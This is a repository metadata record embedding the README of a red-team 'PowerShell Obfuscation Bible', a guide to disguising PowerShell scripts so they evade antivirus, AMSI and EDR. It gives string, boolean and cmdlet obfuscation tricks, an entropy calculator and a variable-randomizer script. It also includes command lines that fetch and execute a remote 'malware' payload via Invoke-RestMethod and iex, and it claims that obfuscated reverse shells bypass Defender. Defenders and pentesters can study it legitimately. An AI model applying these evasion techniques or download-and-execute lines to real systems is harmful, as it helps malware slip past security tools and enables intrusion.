{"id":18982600,"url":"https://github.com/t3l3machus/powershell-obfuscation-bible","last_synced_at":"2025-04-12T14:57:16.706Z","repository":{"id":153419819,"uuid":"626457122","full_name":"t3l3machus/PowerShell-Obfuscation-Bible","owner":"t3l3machus","description":"A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.","archived":false,"fork":false,"pushed_at":"2024-07-19T07:05:32.000Z","size":373,"stargazers_count":980,"open_issues_count":2,"forks_count":110,"subscribers_count":19,"default_branch":"main","last_synced_at":"2025-04-03T14:11:02.941Z","etag":null,"topics":["hacking","obfuscation","offensivesecurity","pentest","powershell","redteam"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/t3l3machus.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-04-11T14:02:36.000Z","updated_at":"2025-04-03T00:28:01.000Z","dependencies_parsed_at":null,"dependency_job_id":"3c18b553-e111-4c6b-ae87-5fd8c7202a73","html_url":"https://github.com/t3l3machus/PowerShell-Obfuscation-Bible","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t3l3machus%2FPowerShell-Obfuscation-Bible","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t3l3machus%2FPowerShell-Obfuscation-Bible/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t3l3machus%2FPowerShell-Obfuscation-Bible/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t3l3machus%2FPowerShell-Obfuscation-Bible/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/t3l3machus","download_url":"https://codeload.github.com/t3l3machus/PowerShell-Obfuscation-Bible/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248586249,"owners_count":21128997,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["hacking","obfuscation","offensivesecurity","pentest","powershell","redteam"],"created_at":"2024-11-08T16:14:09.513Z","updated_at":"2025-04-12T14:57:16.684Z","avatar_url":"https://github.com/t3l3machus.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# PowerShell Obfuscation Bible\n[![Python](https://img.shields.io/badge/Python-%E2%89%A5%203.6-yellow.svg)](https://www.python.org/) \n\u003cimg src=\"https://img.shields.io/badge/PowerShell-%E2%89%A5%20v3.0-blue\"\u003e\n[![License](https://img.shields.io/badge/license-MIT-red.svg)](https://github.com/t3l3machus/PowerShell-Obfuscation-Bible/blob/main/LICENSE.md)\n\u003cimg src=\"https://img.shields.io/badge/Maintained%3F-Yes-96c40f\"\u003e  \n  \nA collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to bypass signature-based detection, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests. You should not take anything for granted.\n  \n**YouTube video presentation**: [youtube.com/watch?v=tGFdmAh_lXE](https://www.youtube.com/watch?v=tGFdmAh_lXE)\n  \n⚠️ **Disclaimer**: Usage of the techniques and concepts described in this repository for gaining unauthorized access to systems that you do not have permission to test is illegal. You are responsible for your actions. Don't be evil.\n\n## Table of Contents\n1. [Entropy](#Entropy)\n2. [Identify Detection Triggers](#Identify-Detection-Triggers)\n3. [Rename Objects](#Rename-Objects)\n4. [Obfuscate Boolean Values](#Obfuscate-Boolean-Values)\n5. [Cmdlet Quote Interruption](#Cmdlet-Quote-Interruption)\n6. [Cmdlet Caret Interruption](#Cmdlet-Caret-Interruption)\n7. [Get-Command Technique](#Get-Command-Technique)\n8. [Substitute Loops](#Substitute-Loops)\n9. [Substitute Commands](#Substitute-Commands)\n10. [Mess With Strings](#Mess-With-Strings)\n11. [Append Junk](#Append-Junk)\n12. [Add or Remove Comments](#Add-or-Remove-Comments)\n13. [Randomize Char Cases](#Randomize-Char-Cases)\n14. [Rearrange Script Components](#Rearrange-Script-Components)\n15. [Execute Script line by line](#Execute-Script-line-by-line)\n\n\n## Entropy\nThe scientific term `entropy`, which is generally defined as **the measure of randomness or disorder of a system** is important in AV evasion. This is because, malware often contains code that is highly randomized, encrypted and/or encoded (obfuscated) to make it difficult to analyze and therefore detect. As one of various methods, Anti-virus products use entropy analysis to identify potentially malicious files and payloads.\n  \nIt is important to understand this concept because, when obfuscating code, you should keep in mind the entropy variance created by the changes you choose to make. Breaking signatures is easy, but if you don't pay attention to the entropy level, sophisticated AV/EDRs will see through it.   \n  \nA principle to keep in mind: **The greater the entropy, the more likely the data is obfuscated or encrypted, and the more probable the file/payload is malicious**. Fortunately, there are ways to lower it.  \n  \n`Claude E. Shannon` introduced a formula in his 1948 paper `A Mathematical Theory of Communication` which can be used to measure the entropy in a set of data. Here's a simple Python implementation of the `Shannon Entropy` you can use to measure the entropy of the payloads you develop:\n```\n#!/bin/python3\n# Usage: python3 entropy.py \u003cfile\u003e\n\nimport math, sys\n\ndef entropy(string):\n    \"Calculates the Shannon entropy of a UTF-8 encoded string\"\n\n    # decode the string as UTF-8\n    unicode_string = string.decode('utf-8')\n\n    # get probability of chars in string\n    prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]\n\n    # calculate the entropy\n    entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])\n\n    return entropy\n\n\nf = open(sys.argv[1], 'rb')\ncontent = f.read()\nf.close()\n\nprint(entropy(content))\n```  \n\nYou can also use this online [Shannon Entropy calculator](https://planetcalc.com/2476/) or Microsoft's [Sigcheck.exe](https://learn.microsoft.com/en-us/sysinternals/downloads/sigcheck) with the `-a` option.\n\n## Identify Detection Triggers\nThe mature and elegant thing to do before jumping into trial and error obfuscation tests to come up with a payload variation that is not flagged, is to identify the part(s) in a script that trigger malware detection. Especially in short scripts like C2 commands, you might be able to make insignificant changes and fly off the radar on the spot.  \n  \nA great tool to identify such triggers is [AMSItrigger](https://github.com/RythmStick/AMSITrigger). Here's a usage example with a file containing a malicious script. The red area signifies the part that obfuscation should be applied:  \n  \n![image](https://user-images.githubusercontent.com/75489922/231490064-863ab464-84f3-4b38-9c9e-a48c23e3070c.png)  \n  \nYou could also identify triggers manually by executing a script chunk by chunk.\n\n## Rename Objects\nWhen obfuscating scripts, it should be a priority to replace variable/class/function names with random ones. That way, in combination with other techniques, you will be able to bypass detection easily. But you should keep in mind the [entropy](#Entropy) of the payloads you develop. Take in consideration the following standard reverse shell script that is generally detected by most if not all AVs:  \n  \n![image](https://user-images.githubusercontent.com/75489922/232206192-ae6a38f6-a41f-4b60-860b-2321a2ea6dbd.png)\n  \nNow consider the following obfuscated version:  \n  \n![image](https://user-images.githubusercontent.com/75489922/232206710-97b7dcc0-20d5-475a-85a3-21f95fefe265.png)\n  \nIn this version, all variable names have been substituted with 32 chars long random names. I also replaced `(pwd).Path` with `$(gl)`. The payload has a `Shannon entropy` of `4.96`. At the time of writing this, it is not detected by MS Defender and a banch of other products:  \n  \n![image](https://user-images.githubusercontent.com/75489922/232209121-e764fd97-31be-4e90-9d1f-8e3913497ffb.png)\n\n  \nNow consider this version:  \n  \n![image](https://user-images.githubusercontent.com/75489922/232209939-cf36274f-c4db-42bf-8ebb-3ea7970197af.png)\n  \nThis variation also has all variable names replaced but this time with names consisting of x number of 'f' characters, which results in a significant drop of the payload's entropy. I replaced `(pwd).Path` with `$(gl)` here as well. Again, at the time of writing, it is not detected by MS Defender. The payload has a `Shannon entropy` of `0.76`.  \n  \n![image](https://user-images.githubusercontent.com/75489922/232209595-b522dc9b-9b7f-4819-8af4-4a73eb5ffed5.png)\n  \n  \n⚡ Both of these variations bypass common AVs, but the second one has a lower entropy and will probably have a better chance when processed by EDRs and other sophisticated anti-malware engines. ⚠️ I am not saying that the better performance of the second payload variation in this example is certainly because of the entropy level (I can't really know that, it could have been the length or both or who knows what), but it is an important aspect to have in mind when obfuscating stuff and this example is meant to underline that concept.  \n  \nYou can use the script below to randomize the names of variables in a PowerShell script. ⚠️ The script is not perfect! If you run it against large, complex PowerShell scripts it might break their functionality by replacing stuff it shouldn't. Use it with caution and be mindful.\n  \n```\n#!/bin/python3\n#\n# This script is an example. It is not perfect and you should use it with caution.\n# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible\n# Usage: python3 randomize-variables.py \u003cpath/to/powershell/script\u003e\n\nimport re\nfrom sys import argv\nfrom uuid import uuid4\n\ndef get_file_content(path):\n\tf = open(path, 'r')\n\tcontent = f.read()\n\tf.close()\n\treturn content\n\t\n\ndef main():\n\n\tpayload = get_file_content(argv[1])\n\tused_var_names = []\n\n\t# Identify variables definitions in script\n\tvariable_definitions = re.findall('\\$[a-zA-Z0-9_]*[\\ ]{0,}=', payload)\n\tvariable_definitions.sort(key=len)\n\tvariable_definitions.reverse()\n\n\t# Replace variable names\n\tfor var in variable_definitions:\n\t\t\n\t\tvar = var.strip(\"\\n \\r\\t=\")\n\n\t\twhile True:\n\t\t\t\n\t\t\tnew_var_name = uuid4().hex\n\t\t\t\n\t\t\tif (new_var_name in used_var_names) or (re.search(new_var_name, payload)):\n\t\t\t\tcontinue\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tused_var_names.append(new_var_name)\n\t\t\t\tbreak\t\n\t\t\t\t\t\t\n\t\tpayload = payload.replace(var, f'${new_var_name}')\n\t\n\tprint(payload + '\\n')\n\n\t\nmain()\n```\n\n## Obfuscate Boolean Values\nIt's super fun and easy to replace `$True` and `$False` values with other boolean equivalents, which are literaly unlimited. Especially if you have identified the detection trigger in a given payload and that includes a `$True` or `$False` value, you will probably be able to bypass detection by simply replacing it with a boolean substitute. All of the examples below evaluate to `True`. You can reverse them to `False` by simply adding an exclamation mark before the expression (e.g., `![bool]0x01`):\n - Boolean typecast of literally anything that is not `0` or `Null` or an `empty string`, will return `True`:\n ```\n [bool]1254\n [bool]0x12AE\n [bool][convert]::ToInt32(\"111011\", 2) # Converts a string to int from base 2 (binary)\n ![bool]$null\n ![bool]$False\n [bool]\"Any non empty string\"\n [bool](-12354893)   # Boolean typecast of a negative number \n [bool](12 + (3 * 6))\n [bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq \"username\"})\n [bool]@(0x01BE)\n [bool][System.Collections.ArrayList]\n [bool][System.Collections.CaseInsensitiveComparer]\n [bool][System.Collections.Hashtable]\n \n # Well, you get the point.\n ```\n - Boolean typecast of any class will return `True` as well:\n ```\n [bool][bool]\n [bool][char]\n [bool][int] \n [bool][string]\n [bool][double]\n [bool][short]\n [bool][decimal]\n [bool][byte]\n [bool][timespan]\n [bool][datetime]\n ```\n - The result of a comparison that evaluates to `True` (duh):\n ```\n (9999 -eq 9999)\n ([math]::Round([math]::PI) -eq (4583 - 4580))\n [Math]::E -ne [Math]::PI\n ```\n - Or you can just grab a `True` value from an object's attributes:\n ```\n $x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache\n $x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass\n $x = [mailaddress].IsAutoLayout\n $x = [ValidateCount].IsVisible\n ```\n - You can mix all this stuff and weird things up by composing hideous ways to state `True` or `False`:\n ```\n [bool](![bool]$null)\n [System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'\n [bool]$(Get-LocalGroupMember Administrators)\n !!!![bool][bool][bool][bool][bool][bool]\n ```\n\n\n## Cmdlet Quote Interruption\nYou can obfuscate cmdlets by adding single and/or double quotes in between their characters, as long as it's not at the beginning. It's super effective! For example, the expresion `iex \"pwd\"` can be substituted with:\n```\ni''ex \"pwd\"\ni''e''x \"pwd\"\ni''e''x'' \"pwd\"\nie''x'' \"pwd\"\niex'' \"pwd\"\ni\"\"e''x\"\" \"pwd\"\nie\"\"x'' \"pwd\"\n\n# and so on... but also:\n\ni''ex \"p''wd\"\ni''e''x \"p''w''d\"\ni''e''x'' \"p''w''d''\"\nie''x'' \"pw''d`\"`\"\"\niex'' \"p`\"`\"w`\"`\"d`\"`\"\"\ni\"\"e''x\"\" \"p`\"`\"w`\"`\"d''\"\nie\"\"x'' \"p`\"`\"w''d`\"`\"\"\n\n# You get the point.\n```\n\n\n## Cmdlet Caret Interruption\nThis is a bit dirty but might come in handy. In a Windows CMD terminal, it is possible to append the caret (^) symbol in-between a command's characters and it will still be interpreted normally. In a powershell script, one way to utilize this would be:\n```\ncmd /c \"who^am^i\"\n```\n![Untistled](https://github.com/t3l3machus/PowerShell-Obfuscation-Bible/assets/75489922/2868e8a7-c09e-4056-a8e8-8b3a8bd8fcbc)\n\n\n\n\n## Get-Command Technique\nA really cool trick my friend and mighty haxor Karol Musolff ([@kmusolff](https://github.com/kmusolff)) showed me. You can use `Get-Command` (or `gcm`) to retrieve the name (string) of any command, including all of the non-PowerShell files in the Path environment variable (`$env:Path`) by using wildcards. You can then run them as jobs with the `\u0026` operator. For example, the following line:\n```\nInvoke-RestMethod -uri https://192.168.0.66/malware | iex\n```\nCould be obfuscated to:\n```\n\u0026(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | \u0026(gcm i*x)\n```\nOr even better, this one, that has a lower `Shannon entropy` value:\n```\n\u0026(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | \u0026(gcm i*x)\n```\n\n## Substitute Loops\nThere are certain loops that can be substituted with other loop types or functions. For example, a `While ($True){ # some code }` loop can be substituted with the following:  \n**An infinite For loop**\n```\nFor (;;) { # some code }\n```\n**A Do-While loop**\n```\nDo { # some code } While ($true)\n```\n**A Do-Until loop**\n```\nDo { # some code } Until (1 -eq 2)\n```\n**A recursive function**\n```\nfunction runToInfinity { \n # do something;  \n runToInfinity;\n}\n```\n\n## Append Junk \n\n### Add/Remove parameters\nYou can try adding parameters to a cmdlet. For example, the following line:\n```\niex \"whoami\"\n```\n\nCould be expanded to:\n```\niex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire \"whoami\"\n```\nYou may of course try the opposite.\n\n### Append random objects\nYou can \"pollute\" a script with random variables and functions. Assume the following script as malicious:  \n```\n$b64 = $(irm -uri http://192.168.0.66/malware); \n$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));\niex $virus;\n```\n\nYou might be able to break its signature by doing something like:\n```\n$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;\n$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;\niex $virus;\n```\n\n\n## Substitute Commands\nYou can always look for commands or even whole code blocks in a script that you can substitute with components that have the same/similar functionality. In the following classic reverse shell script, the `pwd` command is used to retrieve the current working directory and reconstruct the shell's prompt value:  \n![image](https://user-images.githubusercontent.com/75489922/231549917-26ec7969-f2ea-4fbc-ae00-931e92947064.png)\n\nThe `(pwd).Path` part can be replaced by the following weird, unorthodox little script and although it even includes `pwd` it does serve our purpose of breaking the signature while maintaining the functionality of the script:\n```\n\"$($p = (Split-Path `\"$(pwd)\\\\0x00\\`\");if ($p.trim() -eq ''){echo 'C:\\'}else{echo $p})\"\n```  \nThere are of course simpler substitutes for `pwd` like `gl`, `get-location` and `cmd.exe /c chdir` that could do the trick, especially in combination with other techniques.\n\n## Mess With Strings\nThere's no end to what one can do with strings. Find below some interesting concepts. Examples use the string `'malware'`:\n\n### Convert string to here-string  \nAt the expense of adding a few new lines, you can turn a string into a here-string.  \nThis:  \n```\n$x = 'echo malware';\niex $x;\n```\nIs the same as:\n```\n$x = 'echo malware';\niex @\"\n$x\n\"@\n```\n\n### Reverse Strings\n```\n$x=\"Your string reversed\".ToCharArray(); [array]::reverse($x); $x -join \"\"\n```\n\n\n### Concatenation\nPretty straightforward and classic:\n```\n'mal' + 'w' + 'ar' + 'e'\n```\n\n### Get string from substring:\nAdd the desired value between an irrelevant string and use `substring()` to extract it based on start - end indexes:\n```\n'xxxmalwarexxx'.Substring(3,7)\n```\n\n### Replace string by regex match:\nCreate a junk string and replace it with the desired value via regex matching:\n```\n'a123' -replace '[a-zA-Z]{1}[\\d]{1,3}','malware'\n```\n\n### Base64 decode the desired string:\nEncode your string and decode it within the script:\n```\n[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(\"bWFsd2FyZQ==\"))\n```\n\n### Get the desired string's chars from bytes:\n```\n\"$([char]([byte]0x6d)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x77)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x65))\"\n```\nThat's only to get you started. To be continued...\n\n## Add or Remove Comments\n### Appending Comments\nObfuscating a script by appending comments here and there might actually do the trick on its own.  \nfor example, a reverse shell command could be obfuscated like this:\n\n#### Original (Common r-shell command that is easily detected by AVs)  \n![image](https://user-images.githubusercontent.com/75489922/232095239-6e46648f-6522-4cc5-a4a9-d423bffa34b4.png)\n\n#### Modified (appended `\u003c# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #\u003e` in various places)  \n![image](https://user-images.githubusercontent.com/75489922/232095887-ce5561ca-e568-421a-bd63-f34ee1097f6a.png)\n  \nThis will not only work, but also lower the payload's `Shannon entropy` value (given that you don't use complex random comments).\n\n### Removing Comments\nThere are malware-ish strings that will trigger AMSI immediately and it should be a priority to replace them, when obfuscating scripts. Check this out:  \n![image](https://user-images.githubusercontent.com/75489922/231485178-99aded23-3a7a-46ab-ab30-2a10e5e3a332.png)\n\nJust by typing the string 'invoke-mimikatz' in the terminal AMSI is having a stroke (the script is not even present / loaded). \nThese strings may be found in comments as well, so it's a good idea to remove them, especially from FOS resources you grab from the internet (e.g. `Invoke-Mimikatz.ps1` from GitHub).  \n  \n\\*It's generally a good idea to remove comments. This was just an example.\n\n## Randomize Char Cases\nProbably the oldest trick in the book. Randomazing the character case of cmdlets and parameters might help:\n```\ninVOkE-eXpReSSioN -vErbOse \"WHoAmI /aLL\" -dEBug\n```\n\n## Rearrange Script Components\nSometimes simply moving variables and classes to different locations might work, especially if you have found the detection trigger and it includes some variable definition that could be taking place somewhere else, like the beginning of the script.\n\n## Execute Script line by line\nSometimes, it is possible to achieve AV evasion by simply executing a malicious script line by line. This can of course be challenging to pull off given the circumstances. In case you try it, be aware of script blocks that have to be executed as a whole (e.g., loops, try-catch blocks, conditional statements, function definitions, etc). To test this, you can grab a common PowerShell reverse shell script (no obfuscation applied) and execute it line by line. Does it get flagged? ;)  \n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ft3l3machus%2Fpowershell-obfuscation-bible","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ft3l3machus%2Fpowershell-obfuscation-bible","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ft3l3machus%2Fpowershell-obfuscation-bible/lists"}